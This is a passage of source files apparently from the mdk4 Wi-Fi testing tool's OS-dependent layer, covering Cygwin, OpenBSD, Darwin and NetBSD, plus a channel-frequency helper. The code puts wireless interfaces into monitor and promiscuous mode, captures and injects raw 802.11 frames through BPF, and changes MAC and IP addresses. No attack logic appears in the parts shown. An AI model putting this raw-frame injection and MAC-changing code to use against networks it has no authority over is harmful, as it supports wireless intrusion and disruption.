if (rc)
break;
rc = ti_restart(priv);
break;
}
SetupDiDestroyDeviceInfoList(hdi);
return rc;
}
static int ti_set_mtu_cygwin(struct tif *ti, int mtu)
{
struct tip_cygwin *priv = ti_priv(ti);
char m[16];
char mold[sizeof(m)];
char *key = "MTU";
/* check if reg remains unchanged to avoid reset */
snprintf(m, sizeof(m)-1, "%d", mtu);
if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) {
if (strcmp(m, mold) == 0)
return 0;
}
/* change */
if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ,
(unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS)
return -1;
if (ti_reset(priv) == -1)
return -1;
return 0;
}
/**
* Set device MAC address
* @param mac New MAC address
* @return -1 if it failed, 0 on success
*/
static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac)
{
struct tip_cygwin *priv = ti_priv(ti);
char str[2*6+1];
char strold[sizeof(str)];
int i;
char *key = "MAC";
/* convert */
str[0] = 0;
for (i = 0; i < 6; i++) {
char tmp[3];
if (sprintf(tmp, "%.2X", *mac++) != 2)
return -1;
strcat(str, tmp);
}
/* check if changed */
if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) {
if (strcmp(str, strold) == 0)
return 0;
}
/* own */
if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str,
strlen(str)+1) != ERROR_SUCCESS)
return -1;
if (ti_reset(priv) == -1)
return -1;
return 0;
}
/**
* Set device IP address
* @param ip New IP address
* @return -1 if it failed, 0 on success
*/
static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip)
{
struct tip_cygwin *priv = ti_priv(ti);
ULONG ctx, inst;
IP_ADAPTER_INFO ai[16];
DWORD len = sizeof(ai);
PIP_ADAPTER_INFO p;
PIP_ADDR_STRING ips;
if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS)
return -1;
p = ai;
while (p) {
if (strcmp(priv->tc_guid, p->AdapterName) != 0) {
p = p->Next;
continue;
}
/* delete ips */
ips = &p->IpAddressList;
while (ips) {
DeleteIPAddress(ips->Context);
ips = ips->Next;
}
/* add ip */
if (AddIPAddress(ip->s_addr, htonl(0xffffff00),
p->Index, &ctx, &inst) != NO_ERROR)
return -1;
break;
}
return 0;
}
static int ti_fd_cygwin(struct tif *ti)
{
struct tip_cygwin *priv = ti_priv(ti);
return priv->tc_pipe[0];
}
static int ti_read_cygwin(struct tif *ti, void *buf, int len)
{
struct tip_cygwin *priv = ti_priv(ti);
int plen;
if (priv->tc_running != 1)
return -1;
/* read len */
if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1)
return -1;
return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len);
}
static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o)
{
DWORD sz;
if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE))
return -1;
return sz;
}
static int ti_do_io(struct tip_cygwin *priv, void *buf, int len,
OVERLAPPED *o, int wr)
{
BOOL rc;
DWORD sz;
int err;
/* setup overlapped */
memset(o, 0, sizeof(*o));
/* do io */
if (wr)
rc = WriteFile(priv->tc_h, buf, len, &sz, o);
else
rc = ReadFile(priv->tc_h, buf, len, &sz, o);
/* done */
if (rc)
return sz;
if ((err = GetLastError()) != ERROR_IO_PENDING)
return -1;
return 0; /* pending */
}
static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len,
OVERLAPPED *o, int wr)
{
int rc;
if (pthread_mutex_lock(&priv->tc_mtx))
return -1;
rc = ti_do_io(priv, buf, len, o, wr);
if (pthread_mutex_unlock(&priv->tc_mtx))
return -1;
/* done */
if (rc)
return rc;
return ti_wait_complete(priv, o);
}
static int ti_write_cygwin(struct tif *ti, void *buf, int len)
{
struct tip_cygwin *priv = ti_priv(ti);
OVERLAPPED o;
return ti_do_io_lock(priv, buf, len, &o, 1);
}
static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len)
{
OVERLAPPED o;
int rc;
while (priv->tc_running) {
rc = ti_do_io_lock(priv, buf, len, &o, 0);
if (rc)
return rc;
}
return -1;
}
static void *ti_reader(void *arg)
{
struct tip_cygwin *priv = arg;
unsigned char buf[2048];
int len;
while (priv->tc_running) {
/* read a packet */
if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1)
break;
assert(len > 0);
/* write it's length */
if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len))
break;
/* write payload */
if (write(priv->tc_pipe[1], buf, len) != len)
break;
}
priv->tc_running = -1;
return NULL;
}
static struct tif *ti_open_cygwin(char *iface)
{
struct tif *ti;
struct tip_cygwin *priv;
/* setup ti struct */
ti = ti_alloc(sizeof(*priv));
if (!ti)
return NULL;
priv = ti_priv(ti);
ti->ti_name = ti_name_cygwin;
ti->ti_set_mtu = ti_set_mtu_cygwin;
ti->ti_close = ti_close_cygwin;
ti->ti_fd = ti_fd_cygwin;
ti->ti_read = ti_read_cygwin;
ti->ti_write = ti_write_cygwin;
ti->ti_set_mac = ti_set_mac_cygwin;
ti->ti_set_ip = ti_set_ip_cygwin;
/* setup iface */
if (iface)
snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
if (ti_do_open_cygwin(priv) == -1)
goto err;
/* setup reader */
if (pipe(priv->tc_pipe) == -1)
goto err;
if (pthread_mutex_init(&priv->tc_mtx, NULL))
goto err;
/* launch reader */
if (start_reader(priv))
goto err;
return ti;
err:
ti_do_free(ti);
return NULL;
}
struct tif *ti_open(char *iface)
{
return ti_open_cygwin(iface);
}
mdk4-master/src/osdep/openbsd_tap.c 0000644 0001750 0001750 00000011203 13525065636 020335 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for OpenBSD. TAP routines
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
struct tip_obsd {
int to_fd;
int to_ioctls;
struct ifreq to_ifr;
char to_name[MAX_IFACE_NAME];
int to_destroy;
};
static int ti_do_open_obsd(struct tif *ti, char *name)
{
int fd;
char *iface = "/dev/tap";
struct stat st;
struct tip_obsd *priv = ti_priv(ti);
int s;
unsigned int flags;
struct ifreq *ifr;
/* open tap */
if (name)
iface = name;
else
priv->to_destroy = 1; /* we create, we destroy */
fd = open(iface, O_RDWR);
if (fd == -1)
return -1;
/* get name */
if(fstat(fd, &st) == -1)
goto err;
snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s",
devname(st.st_rdev, S_IFCHR));
/* bring iface up */
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1)
goto err;
priv->to_ioctls = s;
/* get flags */
ifr = &priv->to_ifr;
memset(ifr, 0, sizeof(*ifr));
snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name);
if (ioctl(s, SIOCGIFFLAGS, ifr) == -1)
goto err2;
flags = ifr->ifr_flags;
/* set flags */
flags |= IFF_UP;
ifr->ifr_flags = flags & 0xffff;
if (ioctl(s, SIOCSIFFLAGS, ifr) == -1)
goto err2;
return fd;
err:
/* XXX destroy */
close(fd);
return -1;
err2:
close(s);
goto err;
}
static void ti_do_free(struct tif *ti)
{
struct tip_obsd *priv = ti_priv(ti);
free(priv);
free(ti);
}
static void ti_destroy(struct tip_obsd *priv)
{
ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr);
}
static void ti_close_obsd(struct tif *ti)
{
struct tip_obsd *priv = ti_priv(ti);
if (priv->to_destroy)
ti_destroy(priv);
close(priv->to_fd);
close(priv->to_ioctls);
ti_do_free(ti);
}
static char *ti_name_obsd(struct tif *ti)
{
struct tip_obsd *priv = ti_priv(ti);
return priv->to_name;
}
static int ti_set_mtu_obsd(struct tif *ti, int mtu)
{
struct tip_obsd *priv = ti_priv(ti);
priv->to_ifr.ifr_mtu = mtu;
return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr);
}
static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac)
{
struct tip_obsd *priv = ti_priv(ti);
struct ifreq *ifr = &priv->to_ifr;
ifr->ifr_addr.sa_family = AF_LINK;
ifr->ifr_addr.sa_len = 6;
memcpy(ifr->ifr_addr.sa_data, mac, 6);
return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr);
}
static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip)
{
struct tip_obsd *priv = ti_priv(ti);
struct ifaliasreq ifra;
struct sockaddr_in *s_in;
/* assume same size */
memset(&ifra, 0, sizeof(ifra));
strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ);
s_in = (struct sockaddr_in *) &ifra.ifra_addr;
s_in->sin_family = PF_INET;
s_in->sin_addr = *ip;
s_in->sin_len = sizeof(*s_in);
return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra);
}
static int ti_fd_obsd(struct tif *ti)
{
struct tip_obsd *priv = ti_priv(ti);
return priv->to_fd;
}
static int ti_read_obsd(struct tif *ti, void *buf, int len)
{
return read(ti_fd(ti), buf, len);
}
static int ti_write_obsd(struct tif *ti, void *buf, int len)
{
return write(ti_fd(ti), buf, len);
}
static struct tif *ti_open_obsd(char *iface)
{
struct tif *ti;
struct tip_obsd *priv;
int fd;
/* setup ti struct */
ti = ti_alloc(sizeof(*priv));
if (!ti)
return NULL;
ti->ti_name = ti_name_obsd;
ti->ti_set_mtu = ti_set_mtu_obsd;
ti->ti_close = ti_close_obsd;
ti->ti_fd = ti_fd_obsd;
ti->ti_read = ti_read_obsd;
ti->ti_write = ti_write_obsd;
ti->ti_set_mac = ti_set_mac_obsd;
ti->ti_set_ip = ti_set_ip_obsd;
/* setup iface */
fd = ti_do_open_obsd(ti, iface);
if (fd == -1) {
ti_do_free(ti);
return NULL;
}
/* setup private state */
priv = ti_priv(ti);
priv->to_fd = fd;
return ti;
}
struct tif *ti_open(char *iface)
{
return ti_open_obsd(iface);
}
mdk4-master/src/osdep/darwin.c 0000644 0001750 0001750 00000002311 13525065636 017323 0 ustar samueloph samueloph /*
* Copyright (c) 2009, Kyle Fuller , based upon
* freebsd.c by Andrea Bittau
*
* OS dependent API for Darwin.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include "osdep.h"
struct wif *wi_open_osdep(char *iface)
{
if (iface) {} /* XXX unused parameter */
errno = EOPNOTSUPP;
return NULL;
}
int get_battery_state(void)
{
errno = EOPNOTSUPP;
return -1;
}
int create_tap(void)
{
errno = EOPNOTSUPP;
return -1;
}
mdk4-master/src/osdep/packed.h 0000644 0001750 0001750 00000003476 13525065636 017310 0 ustar samueloph samueloph /*
* Pack structures
*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
* NON-INFRINGEMENT. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston,
* MA 02111-1307, USA.
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef __AIRCRACK_NG_OSDEP_PACKED_H__
#define __AIRCRACK_NG_OSDEP_PACKED_H__
#ifndef __packed
#define __packed __attribute__ ((__packed__))
#endif /* __packed */
#ifndef __aligned
#define __aligned(n)
#endif
#endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */
mdk4-master/src/osdep/openbsd.c 0000644 0001750 0001750 00000030165 13525065636 017501 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for OpenBSD.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
#ifndef IEEE80211_RADIOTAP_F_FCS
#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
#endif
#ifndef IEEE80211_IOC_CHANNEL
#define IEEE80211_IOC_CHANNEL 0
#endif
#ifndef le32toh
#define le32toh(x) htole32(x)
#endif
struct priv_obsd {
/* iface */
int po_fd;
/* rx */
int po_nocrc;
/* tx */
unsigned char po_buf[4096];
unsigned char *po_next;
int po_totlen;
/* setchan */
int po_s;
struct ifreq po_ifr;
struct ieee80211chanreq po_ireq;
int po_chan;
};
static void get_radiotap_info(struct priv_obsd *po,
struct ieee80211_radiotap_header *rth, int *plen,
struct rx_info *ri)
{
uint32_t present;
uint8_t rflags = 0;
int i;
unsigned char *body = (unsigned char*) (rth+1);
int dbm_power = 0, db_power = 0;
/* reset control info */
if (ri)
memset(ri, 0, sizeof(*ri));
/* get info */
present = le32toh(rth->it_present);
for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
if (!(present & (1 << i)))
continue;
switch (i) {
case IEEE80211_RADIOTAP_TSFT:
body += sizeof(uint64_t);
break;
case IEEE80211_RADIOTAP_FLAGS:
rflags = *((uint8_t*)body);
/* fall through */
case IEEE80211_RADIOTAP_RATE:
body += sizeof(uint8_t);
break;
case IEEE80211_RADIOTAP_CHANNEL:
if (ri) {
ri->ri_channel = 1;
}
body += sizeof(uint16_t)*2;
break;
case IEEE80211_RADIOTAP_FHSS:
body += sizeof(uint16_t);
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
dbm_power = *body++;
break;
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
dbm_power -= *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
db_power = *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTNOISE:
db_power -= *body++;
break;
default:
i = IEEE80211_RADIOTAP_EXT+1;
break;
}
}
/* set power */
if (ri) {
if (dbm_power)
ri->ri_power = dbm_power;
else
ri->ri_power = db_power;
}
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
po->po_nocrc = 1;
}
}
static unsigned char *get_80211(struct priv_obsd *po, int *plen,
struct rx_info *ri)
{
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
void *ptr;
unsigned char **data;
int *totlen;
data = &po->po_next;
totlen = &po->po_totlen;
assert(*totlen);
/* bpf hdr */
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
*totlen -= bpfh->bh_hdrlen;
/* check if more packets */
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (unsigned char*)bpfh + offset;
*totlen -= offset - tot; /* take into account align bytes */
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
get_radiotap_info(po, rth, plen, ri);
*plen -= rth->it_len;
assert(*plen > 0);
/* data */
ptr = (char*)rth + rth->it_len;
return ptr;
}
static int obsd_get_channel(struct wif *wi)
{
struct priv_obsd *po = wi_priv(wi);
struct ieee80211chanreq channel;
memset(&channel, 0, sizeof(channel));
strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1;
return channel.i_channel;
}
static int obsd_set_channel(struct wif *wi, int chan)
{
struct priv_obsd *po = wi_priv(wi);
struct ieee80211chanreq channel;
memset(&channel, 0, sizeof(channel));
strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
channel.i_channel = chan;
if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1;
po->po_chan = chan;
return 0;
}
static int obsd_read(struct wif *wi, unsigned char *h80211, int len,
struct rx_info *ri)
{
struct priv_obsd *po = wi_priv(wi);
unsigned char *wh;
int plen;
assert(len > 0);
/* need to read more */
while (po->po_totlen == 0) {
po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf));
if (po->po_totlen == -1) {
po->po_totlen = 0;
return -1;
}
po->po_next = po->po_buf;
}
/* read 802.11 packet */
wh = get_80211(po, &plen, ri);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(h80211, wh, plen);
if(ri && !ri->ri_channel)
ri->ri_channel = wi_get_channel(wi);
return plen;
}
static int obsd_write(struct wif *wi, unsigned char *h80211, int len,
struct tx_info *ti)
{
struct priv_obsd *po = wi_priv(wi);
int rc;
/* XXX make use of ti */
if (ti) {}
rc = write(po->po_fd, h80211, len);
if (rc == -1)
return rc;
return 0;
}
static void do_free(struct wif *wi)
{
assert(wi->wi_priv);
free(wi->wi_priv);
wi->wi_priv = 0;
free(wi);
}
static void obsd_close(struct wif *wi)
{
struct priv_obsd *po = wi_priv(wi);
close(po->po_fd);
close(po->po_s);
do_free(wi);
}
static int do_obsd_open(struct wif *wi, char *iface)
{
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
unsigned int dlt = DLT_IEEE802_11_RADIO;
int s;
unsigned int flags;
struct ifmediareq ifmr;
int *mwords;
struct priv_obsd *po = wi_priv(wi);
unsigned int size=sizeof(po->po_buf);
/* basic sanity check */
if (strlen(iface) >= sizeof(ifr.ifr_name))
return -1;
/* open wifi */
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1)
return -1;
po->po_s = s;
/* set iface up and promisc */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
goto close_sock;
flags = ifr.ifr_flags;
flags |= IFF_UP | IFF_PROMISC;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
ifr.ifr_flags = flags & 0xffff;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
goto close_sock;
/* monitor mode */
memset(&ifmr, 0, sizeof(ifmr));
strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
goto close_sock;
assert(ifmr.ifm_count != 0);
mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
if (!mwords)
goto close_sock;
ifmr.ifm_ulist = mwords;
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
free(mwords);
goto close_sock;
}
free(mwords);
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
goto close_sock;
/* setup ifreq for chan that may be used in future */
strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
/* same for ifreq [mac addr] */
strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
/* open bpf */
for(i = 0; i < 256; i++) {
snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd < 0) {
if(errno != EBUSY)
return -1;
continue;
}
else
break;
}
if(fd < 0)
goto close_sock;
if (ioctl(fd, BIOCSBLEN, &size) < 0)
goto close_bpf;
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
if (ioctl(fd, BIOCSETIF, &ifr) < 0)
goto close_bpf;
if (ioctl(fd, BIOCSDLT, &dlt) < 0)
goto close_bpf;
if(ioctl(fd, BIOCPROMISC, NULL) < 0)
goto close_bpf;
dlt = 1;
if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
goto close_bpf;
return fd;
close_sock:
close(s);
return -1;
close_bpf:
close(fd);
goto close_sock;
}
static int obsd_fd(struct wif *wi)
{
struct priv_obsd *po = wi_priv(wi);
return po->po_fd;
}
static int obsd_get_mac(struct wif *wi, unsigned char *mac)
{
struct ifaddrs *ifa, *p;
char *name = wi_get_ifname(wi);
int rc = -1;
struct sockaddr_dl* sdp;
if (getifaddrs(&ifa) == -1)
return -1;
p = ifa;
while (p) {
if (p->ifa_addr->sa_family == AF_LINK &&
strcmp(name, p->ifa_name) == 0) {
sdp = (struct sockaddr_dl*) p->ifa_addr;
memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
rc = 0;
break;
}
p = p->ifa_next;
}
freeifaddrs(ifa);
return rc;
}
static int obsd_get_monitor(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 0;
}
static int obsd_get_rate(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 1000000;
}
static int obsd_set_rate(struct wif *wi, int rate)
{
if (wi || rate) {} /* XXX unused */
/* XXX */
return 0;
}
static int obsd_set_mac(struct wif *wi, unsigned char *mac)
{
struct priv_obsd *po = wi_priv(wi);
struct ifreq *ifr = &po->po_ifr;
ifr->ifr_addr.sa_family = AF_LINK;
ifr->ifr_addr.sa_len = 6;
memcpy(ifr->ifr_addr.sa_data, mac, 6);
return ioctl(po->po_s, SIOCSIFLLADDR, ifr);
}
static struct wif *obsd_open(char *iface)
{
struct wif *wi;
struct priv_obsd *po;
int fd;
/* setup wi struct */
wi = wi_alloc(sizeof(*po));
if (!wi)
return NULL;
wi->wi_read = obsd_read;
wi->wi_write = obsd_write;
wi->wi_set_channel = obsd_set_channel;
wi->wi_get_channel = obsd_get_channel;
wi->wi_close = obsd_close;
wi->wi_fd = obsd_fd;
wi->wi_get_mac = obsd_get_mac;
wi->wi_set_mac = obsd_set_mac;
wi->wi_get_rate = obsd_get_rate;
wi->wi_set_rate = obsd_set_rate;
wi->wi_get_monitor = obsd_get_monitor;
/* setup iface */
fd = do_obsd_open(wi, iface);
if (fd == -1) {
do_free(wi);
return NULL;
}
/* setup private state */
po = wi_priv(wi);
po->po_fd = fd;
return wi;
}
struct wif *wi_open_osdep(char *iface)
{
return obsd_open(iface);
}
int get_battery_state(void)
{
#if defined(__FreeBSD__)
int value;
size_t len;
len = 1;
value = 0;
sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
if (value == 0)
{
sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
value = value * 60;
}
else
{
value = 0;
}
return( value );
#elif defined(_BSD_SOURCE)
struct apm_power_info api;
int apmfd;
if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
return 0;
if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
close(apmfd);
return 0;
}
close(apmfd);
if (api.battery_state == APM_BATT_UNKNOWN ||
api.battery_state == APM_BATTERY_ABSENT ||
api.battery_state == APM_BATT_CHARGING ||
api.ac_state == APM_AC_ON) {
return 0;
}
return ((int)(api.minutes_left))*60;
#else
return 0;
#endif
}
mdk4-master/src/osdep/common.c 0000644 0001750 0001750 00000005562 13525065636 017342 0 ustar samueloph samueloph /*
* Copyright (c) 2008-2015, Thomas d'Otreppe
*
* Common OSdep stuff
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include "common.h"
/**
* Return the frequency in Mhz from a channel number
*/
int getFrequencyFromChannel(int channel)
{
static int frequencies[] = {
-1, // No channel 0
2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive)
5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245,
5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325,
5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405,
5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485,
5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565,
5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645,
5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725,
5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805,
5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885,
5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965,
5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045,
6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100
};
return (channel > 0 && channel <= HIGHEST_CHANNEL) ? frequencies[channel] : (channel >= LOWEST_CHANNEL && channel <= -4) ? 5000 - (channel * 5) : -1 ;
}
/**
* Return the channel from the frequency (in Mhz)
*/
int getChannelFromFrequency(int frequency)
{
if (frequency >= 2412 && frequency <= 2472)
return (frequency - 2407) / 5;
else if (frequency == 2484)
return 14;
else if (frequency >= 4920 && frequency <= 6100)
return (frequency - 5000) / 5;
else
return -1;
}
mdk4-master/src/osdep/netbsd.c 0000644 0001750 0001750 00000030160 13525065636 017321 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for NetBSD.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
#ifndef IEEE80211_RADIOTAP_F_FCS
#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
#endif
#ifndef IEEE80211_IOC_CHANNEL
#define IEEE80211_IOC_CHANNEL 0
#endif
#ifndef le32toh
#define le32toh(x) htole32(x)
#endif
struct priv_nbsd {
/* iface */
int pn_fd;
/* rx */
int pn_nocrc;
/* tx */
unsigned char pn_buf[4096];
unsigned char *pn_next;
int pn_totlen;
/* setchan */
int pn_s;
struct ifreq pn_ifr;
struct ieee80211chanreq pn_ireq;
int pn_chan;
};
static void get_radiotap_info(struct priv_nbsd *pn,
struct ieee80211_radiotap_header *rth, int *plen,
struct rx_info *ri)
{
uint32_t present;
uint8_t rflags = 0;
int i;
unsigned char *body = (unsigned char*) (rth+1);
int dbm_power = 0, db_power = 0;
/* reset control info */
if (ri)
memset(ri, 0, sizeof(*ri));
/* get info */
present = le32toh(rth->it_present);
for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
